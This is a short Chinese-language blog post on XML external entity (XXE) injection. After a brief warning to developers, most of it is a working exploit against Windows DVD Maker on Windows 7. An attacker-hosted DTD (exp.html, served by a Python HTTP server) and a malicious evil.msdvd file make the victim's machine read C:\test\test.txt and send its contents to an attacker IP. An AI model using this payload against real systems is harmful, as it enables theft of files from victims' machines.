XML实体注入

by Netfairy - 2017-03-21

无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞,开发人员在处理XML时需谨慎,在用户可控的XML数据里禁止引用外部实体

例子:WIN7 X64 & Windows DVD Maker v6.1.7

1.攻击者运行

python -m SimpleHTTPServer 8080

2.把exp.html放到当前目录下

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">

%all;
3.受害者打开evil.msdvd

<?xml version="1.0"?>
<!DOCTYPE Netfairy 
[ 
	<!ENTITY % file SYSTEM "C:\test\test.txt">
	<!ENTITY % html SYSTEM "http://192.168.1.102:8080/exp.html">
	%html;
	
]>
<pwn>&send;</pwn>

利用成功攻击者能读取到受害者机器

C:\test\test.txt
文件内容

参考:https://security.tencent.com/index.php/blog/msg/69